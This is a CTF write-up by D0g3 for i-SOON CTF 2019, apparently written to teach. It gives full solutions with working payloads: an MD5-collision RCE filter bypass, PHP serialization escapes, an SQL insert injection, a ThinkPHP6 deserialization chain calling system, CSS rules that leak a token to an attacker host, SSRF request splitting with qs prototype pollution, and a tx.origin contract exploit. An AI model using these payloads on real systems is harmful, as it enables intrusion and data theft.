本文由 @D0g3 编写
i-SOON_CTF_2019 部分题目环境/源码
https://github.com/D0g3-Lab/i-SOON_CTF_2019
广告一波:
H1ve 是一款自研 CTF 平台,同时具备解题、攻防对抗模式。其中,解题赛部分对 Web 和 Pwn 题型,支持独立题目容器及动态 Flag 防作弊。攻防对抗赛部分支持 AWD 一键部署,并配备炫酷地可视化战况界面。
该作品随着安洵杯比赛进程,逐步开源,敬请期待 Github项目地址
Web
easy_web
考点
- 文件包含
- md5碰撞
- rce
- fuzz
由于题目正则出现了点问题,最后一个 fuzz 的考点没有考到。导致很多队伍直接通过最简单的 Bypass 就可以拿到 flag。稍后在题解中详谈。
题解
观察 url 根据 url 中 img 参数 img=TXpVek5UTTFNbVUzTURabE5qYz0
推测文件包含
加密脚本
import binascii
import base64
filename = input().encode(encoding='utf-8')
hex = binascii.b2a_hex(filename)
base1 = base64.b64encode(hex)
base2 = base64.b64encode(base1)
print(base2.decode())
读取 index.php 源码之后审计源码。发现通过 rce 拿到 flag 之前需要通过一个判断
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
通过md5碰撞即可 rce 拿到 flag
POST数据
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
关于 rce 有一个过滤的黑名单如下,过滤了常见的读取文件的操作
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))
因为过滤了大多常见的文件读取的命令,最后的核心考点是拿 linux 命令去 fuzz ,但是因为过滤反斜杠 |\\|\\\\|
这里的时候正则没有写好,导致了反斜杠逃逸。因此造成了 ca\t
命令可以直接读取 flag
预期解也不唯一,毕竟很多命令都能读取文件内容。这里还是给出相对比较常见的一个。
sort
即可。
easy_serialize_php
考点
- 变量覆盖
- 预包含
- 反序列化中的对象逃逸
题解
首先打开网页界面,看到source_code,点击就可以直接看到源码。
从上往下阅读代码,很明显的可以发现一个变量覆盖。至于这个覆盖怎么用,暂时还不知道,这是第一个考点。
往下看,可以看到我们可以令function为phpinfo来查看phpinfo,此时就可以看到我的第二个考点:
我在php.ini中设置了auto_prepend_file隐式包含了d0g3_f1ag.php,直接访问可以发现没有任何内容,说明我们需要读取这个文件的内容。
接着往下看代码,可以看到最终执行了一个file_get_contents
,从这个函数逆推回去$userinfo["img"]
的值,可以发现这个值虽然是我们可控的,但是会经过sha1加密,而我没有解密,导致无法读取任何文件。
此时需要把注意力转移到另外一个函数serialize
上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据。
PS:任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。
先放payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
这里我令_SESSION[user]为flagflagflagflagflagflag,正常情况下序列化后的数据是这样的:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
而经过了过滤函数之后,序列化的数据就会变成这样:
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
可以看到,user的内容长度依旧为24,但是已经没有内容了,所以反序列化时会自动往后读取24位:
会读取到上图的位置,然后结束,由于user的序列化内容读取数据时需要往后填充24位,导致后面function的内容也发生了改变,吞掉了其双引号,导致我们可以控制后面的序列化内容。
而php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而如何判断是否结束呢,可以看到,前面有一个a:3,表示序列化的内容是一个数组,有三个键,而以{作为序列化内容的起点,}作为序列化内容的终点。
所以此时后面的";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
在反序列化时就会被当作非法字符忽略掉,导致我们可以控制$userinfo["img"]的值,达到任意文件读取的效果。
在读取完d0g3_f1ag.php
后,得到下一个hint,获取到flag文件名,此时修改payload读根目录下的flag即可。
不是文件上传
考点
- 信息泄漏
- SQL注入
- 反序列化
题解
获取源码
在主页的源码下方有一个开发人员留的信息,可知网站的源码已经被上传的github上面了。
而网站源码的名称就是网页页脚的wowouploadimage, github搜索这个名称,即可找到源码。
SQL注入 => 反序列化 => 读取Flag
在图片上传处,check函数并未对文件名(title)进行检测, 直接传递到最后的SQL语句当中。导致了SQL注入,并且属于Insert注入。
审计代码后可知,图片数据在保存的时候,会将图片的高度和宽度进行序列化然后保存。在查看图片信息的页面(show.php)会对其进行反序列化。
我们需要通过SQL注入修改保存的信息中的序列化的值来利用。
在helper.php中的helper类中有一个__destruct
魔术方法可以利用,通过调用view_files
中的file_get_contents
来读取flag。
构造payload
反序列化payload生成:
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
payload:
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
这里的属性值ifview和config都是protected类型的,所以需要将payload修改为:
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
(以至于为什么要将修改为\0\0\0,是因为源码中在存取过程中对protected类型的属性进行了处理。)
正常上传图片的sql语句为:
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')
由于title处是我们能够控制的,所以构造文件名如下:
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
因为上传的文件名中不能有双引号,所以将payload进行16进制编码。
使用 Brupsuite 将上传的 filename 修改为构造的文件名上传,再访问 show.php 即可得到flag。
iamthinking
考点
- 反序列化
题解
通过在上级目录下发现www.zip
审计源码,构造thinkphp6反序列化,同时需要绕过parse_url
EXP
<?php
namespace think {
use think\model\concern\Attribute;
use think\model\concern\Conversion;
use think\model\concern\RelationShip;
abstract class Model
{
use Conversion;
use RelationShip;
use Attribute;
private $lazySave;
protected $table;
public function __construct($obj)
{
$this->lazySave = true;
$this->table = $obj;
$this->visible = array(array('hu3sky'=>'aaa'));
$this->relation = array("hu3sky"=>'aaa');
$this->data = array("a"=>'cat /flag');
$this->withAttr = array("a"=>"system");
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $visible;
}
trait RelationShip
{
private $relation;
}
trait Attribute
{
private $data;
private $withAttr;
}
}
namespace think\model {
class Pivot extends \think\Model
{
}
}
namespace {
$a = new think\model\Pivot('');
$b = new think\model\Pivot($a);
echo urlencode(serialize($b));
}
///public/?payload=O%3A17%3A"think%5Cmodel%5CPivot"%3A6%3A%7Bs%3A21%3A"%00think%5CModel%00lazySave"%3Bb%3A1%3Bs%3A8%3A"%00%2A%00table"%3BO%3A17%3A"think%5Cmodel%5CPivot"%3A6%3A%7Bs%3A21%3A"%00think%5CModel%00lazySave"%3Bb%3A1%3Bs%3A8%3A"%00%2A%00table"%3Bs%3A0%3A""%3Bs%3A10%3A"%00%2A%00visible"%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7D%7Ds%3A21%3A"%00think%5CModel%00relation"%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7Ds%3A17%3A"%00think%5CModel%00data"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A9%3A"cat+%2Fflag"%3B%7Ds%3A21%3A"%00think%5CModel%00withAttr"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A6%3A"system"%3B%7D%7Ds%3A10%3A"%00%2A%00visible"%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7D%7Ds%3A21%3A"%00think%5CModel%00relation"%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7Ds%3A17%3A"%00think%5CModel%00data"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A9%3A"cat+%2Fflag"%3B%7Ds%3A21%3A"%00think%5CModel%00withAttr"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A6%3A"system"%3B%7D%7D
CSS Game
考点
- CSS注入
利用场景:能HTML注入,不能XSS(或者被dompurity时),可造成窃取CSRF Token的目的。
题解
通过CSS选择器匹配到CSRF token,接着使用可以发送数据包的属性将数据带出,例如:
input[name=csrf][value^=ca]{
background-image: url(https://xxx.com/ca);
}
过程中有几个问题:
一般CSRF Token的type都为hidden,会有不加载background-image
属性的情况(本地测试是最新版FIrefox不加载,Chrome加载)
解决该问题的办法是使用~
兄弟选择器(选择和其后具有相同父元素的元素),加载相邻属性的background-image
,达到将数据带出的目的。
赛题源码:
<html>
<link rel="stylesheet" href="${encodeURI(req.query.css)}" />
<form>
<input name="Email" type="text" value="test">
<input name="flag" type="hidden" value="b02cb962ac59075b964b07152d234b70"/>
<input type="submit" value="提交">
</form>
</html>
poc: 通过注入CSS,动态猜解每一个flag字符,同时在服务端监听:
input[name=flag][value^="b"] ~ * {
background-image: url("http://x.x.x.x/b");
}
通过上述手段只能CSRF Token的部分数据,那我们该如何获得全部数据呢?
poc:
https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
通过不断创建iframe,动态猜解每一位csrf token
当然这需要目标站点x-frame-options
未被禁用,当然本题并未限制此方法
那iframe被禁用了,还有办法注入吗?
参考这篇文章所述:https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b
提供了一个工具,使得可以通过import CSS来获得token:https://github.com/d0nutptr/sic
安装好环境, 起一个窃取CSS模板文件:
template
input[name=flag][value^="{{:token:}}"] ~ * { background-image: url("{{:callback:}}"); }
运行服务:
./sic -p 3000 --ph "http://127.0.0.1:3000" --ch "http://127.0.0.1:3001" -t template
attack:
http://127.0.0.1:60000/flag.html?css=http://127.0.0.1:3000/staging?len=32
membershop
考点
- 拉丁文越权
- ssrf
- 原型链污染
题解
登陆的时候过滤了admin,同时发现小写字符转换成了大写字母显示。结合set-cookie是koa的框架,很容易联想到后端使用toUpperCase()
做转换,拉丁文越权登陆admın
登陆成功之后多了一个请求记录的功能,同时登陆成功后给出源码的地址
拿到源码后简单看登陆逻辑
逻辑根据传入的用户名userName
会在登陆前经过一次检测
当传入的用户名包含admin
时,则自动循环replace掉。在登陆成功的同时会把username
写进session里,这里可以看到只有我们登陆了admin
才有权限加载其他模版
漏洞点在代码76-117行,它只允许请求以http://127.0.0.1:3000/query
(后面拉到本地环境会改127.0.0.1这个地址,这是我本地debug)开头的url。输入其他开头的url会被error url
,而且不存在任何host的绕过。当请求之后会被记录在sandbox的results.txt里面并且支持追加,sandbox根据ip建立
因为query也是一个路由,那么这里就存在一个ssrf。如何bypass去请求其他路由呢?只需要用unicode编码并且分割http包,例如
http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0173}\u{0161}\u{0176}\u{0165}
url编码是16进制,\u{01xx}在http.get的时候不会进行percent encode,但是在buffer写入的时候会把xx解码。其中\u{0173}\u{0161}\u{0176}\u{0165}
代表的是save
,73617665是save
的16进制表示。具体原理可以看:通过拆分请求来实现的SSRF攻击
接着就寻找一下其他路由存在的问题,可利用点在/save
home.get('/save',async(ctx)=>{
let ip = ctx.request.ip;
let reqbody = {switch:false}
reqbody = qs.parse(ctx.querystring,{allowPrototypes: false});
if (ip.substr(0, 7) == "::ffff:") {
ip = ip.substr(7);
}
if (ip !== '127.0.0.1' && ip !== server_ip) {
ctx.status = 403;
ctx.response.body = '403: You are not the local user';
}else {
if(reqbody.switch === true && reqbody.sandbox && reqbody.opath &&fs.existsSync(reqbody.spath)){
if(fs.existsSync(reqbody.sandbox)){
paths.opath = fs.readdirSync(reqbody.sandbox)[0];
}else if(fs.existsSync(reqbody.opath)){
let buffer;
tmp[reqbody.sandbox]['opath'] = reqbody.opath;
if(/[flag]/.test(tmp[reqbody.sandbox]['opath'])){
buffer = tmp[reqbody.sandbox]['opath'].replace(/f|l|a|g/g,'');
}else{
buffer = reqbody.opath;
}
}
let opath = paths.opath? paths.opath : buffer;
let text = fs.readFileSync(opath, 'utf8');
await WriteResults(reqbody.spath,text);
}else{
return false;
}
}
})
这里大致有两个障碍点:
1、限制了本地127.0.0.1访问
->ssrf解决
2、通过qs包解析url参数存为对象,switch默认为flase,配置allowPrototypes=false
,直接传递http参数不能覆盖switch。qs.parse() bypass for prototype pollution@qs<6.3,参考链接:Prototype Override Protection Bypass,传参:]=switch
绕过
3、解析获得的对象需要三个参数sandbox、opath、spath。代码逻辑就是如果存在sandbox那么就取sandbox下的第一个文件(即results.txt)读取后写入spath,否则读取自定义的opath,将结果写入spath(两者前提都是spath必须存在且可写,只有sandbox/result.txt满足要求)。但是自定义opath会替换所有的[flag]字段,不允许直接读flag。
这里存在判断的绕过。原型链污染sandbox下的一个文件为/flag,再去自定义读到spath里
tmp['__proto__']['opath'] = '/flag';
=>
paths.opath = /flag
构造一下就能把flag追加写入到sandbox/results.txt。poc如下,调整一下opath为flag地址,sandbox为自己的md5(ip)
就行了:
encodeURI("http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0173}\u{0161}\u{0176}\u{0165}?]=switch&sandbox=__proto__&opath=/flag&spath=tmp/ab54a5cf83f67d827ecba68e394f9196")
Misc
吹着贝斯扫二维码
考点
- 二维码处理
题解
flag压缩包需要密码才能解压,压缩包的备注有被加密的字符串。
GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZTOMRXGQYDGOBWGI2DCNBY
除了压缩包外有36个文件,将文件名修改为jpg会发现是二维码是一部分。
对二维码的处理有两种方式:
- 拿PS一个一个拼,顺序得慢慢尝试。
- 使用010等工具查看每个图片的原数据,会发现图片的数据末尾有两个数字代表这个图片的位置,编写脚本或者使用ps等将二维码拼接好。
最终二维码为:
扫出来的内容为:
BASE Family Bucket ???
85->64->85->13->16->32
可以猜测压缩包备注的字符串应该是base加密,按照这个顺序反向base解密。
base32解码:
3A715D3E574E36326F733C5E625D213B2C62652E3D6E3B7640392F3137274038624148
base16解码:
:q]>WN62os<^b]!;,be.=n;v@9/17'@8bAH
这里的13并不是base编码,而是ROT13密码。
ROT13解密:
:d]>JA62bf<^o]!;,or.=a;i@9/17'@8oNU
base85解码:
PCtvdWU4VFJnQUByYy4mK1lraTA=
base64解码
<+oue8TRgA@rc.&+Yki0
base85解码:
<+oue8TRgA@rc.&+Yki0
得到解压密码:ThisIsSecret!233
解压后得到flag
base85编码:https://base85.io/
rot13:https://rot13.com/
secret
考点
- 内存取证
题解
内存取证,直接上volatility
volatility -f mem.dump imageinfo
看进程
volatility -f mem.dump --profile=Win7SP1x64 pslist
看cmd历史
volatility -f mem.dump --profile=Win7SP1x64 cmdscan
得到
flag.ccx_password_is_same_with_Administrator
从桌面导出文件flag.ccx
volatility -f mem.dump --profile=Win7SP1x64 dumpfiles -Q 0x000000003e435890 -D ./
hashdump得到Administrator的哈希
volatility -f mem.dump --profile=Win7SP1x64 hashdump
得到
Administrator:500:6377a2fdb0151e35b75e0c8d76954a50:0d546438b1f4c396753b4fc8c8565d5b:::
cmd5解密得到ABCabc123
然后在进程中或者桌面看到有一个Cncrypt的应用,百度下载该应用然后用ABCabc123解密挂载,得到flag
flag{now_you_see_my_secret}
Attack
考点
- 数据包流量分析
- 蚁剑流量特征
- procdump的使用
题解
使用wireshark打开数据包,简单看一下应该是进行了扫目录操作:
然后对TCP流进行分析,发现一处对upload.php的POST请求:
然后追踪TCP流,发现上传了一句话木马:
接着往下分析,发现一组TCP流量疑似执行了命令,请求流量经过了base64混淆,返回流量用了ROT13
继续跟TCP流发现列目录列出来了一个s3cret.zip
下一组流量中出现了一组看起来是zip的数据:
查看hex数据发现50 4B 03 04
的zip文件头,将其拿出来导入到010editor中保存为zip:
但是发现需要解压密码,打开发现hint
然后可以得到意思是解压密码为administrator的密码,于是继续回去看流量,发现执行了procdump.exe这个工具
如果不熟悉的这个工具话可以使用搜索引擎得知该工具一般用来抓取windows的lsass进程中的用户明文密码
紧接着发现攻击者通过http下载了lsass.dmp文件
我们将该文件导出,然后导入mimikatz即可得到administrator的密码
之后再拿过去解压就得到flag
Flag:D0g3{3466b11de8894198af3636c5bd1efce2}
whoscion
考点
- solidity逆向
- 整数溢出
- tx.origin鉴权绕过
题解
这个合约的逻辑很简单,获取flag需要代币余额大于10000并且成为合约所有者。
transferFrom函数存在溢出,用合约创建账户向自己账户转大于10000代币即可;
合约用tx.origin判断合约调用者,构造一个新合约来调用源合约就可以绕过。
exp代码如下:
pragma solidity ^0.4.18;
contract hpcoin1 {
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
address public owner;
function approve(address _arg0, uint256 _arg1) public {
}
function transferFrom(address _arg0, address _arg1, uint256 _arg2) public {
}
function payforflag(string b64email) public {
}
function changeOwner(address _arg0) {
}
}
contract attack {
hpcoin1 exp;
function attack(address addr) {
exp = hpcoin1(addr);
}
function hack() {
exp.changeOwner(tx.origin);
}
}
easy misc
考点
- 盲水印
- 字频
- 掩码爆破
- base85
题解
考点:foremost
下载图片后发现了三个文件
Output就是一张图片
Decode中存在一个decode.txt
还有一个flag is here 的文件夹
先看flag is here文件夹,发现存在大量的txt文件,每个文件都是一大段英文,可能考察字频隐写。但是不知道字频隐写在哪一个文件夹,于是可能hint在其他的文件中。
Decode.rar
这个压缩包就加密了的。
再看提示
一个算术加NNULLULL, 猜测可能考察掩码攻击
前面的算术算出来是7,即也就是7+NNULLULL,
直接爆破,得到密码2019456NNULLULL
得到decode.txt,根据decode.txt更加确定为字频隐写。
小姐姐.png
先foremost分离一手,出来了两个文件,猜测是盲水印
使用盲水印工具解密
python2 bwm.py decode 00000000.png 00000232.png output.png
提示in 11.txt
说明字频隐写在11.txt中,hint中提示取前16位即etaonrhsidluygw
根据decode.txt中组成base64
base64: QW8obWdIWT9pMkFSQWtRQjVfXiE/WSFTajBtcw==
base85: Ao(mgHY?i2ARAkQB5_^!?Y!Sj0ms
flag{have_a_good_day1}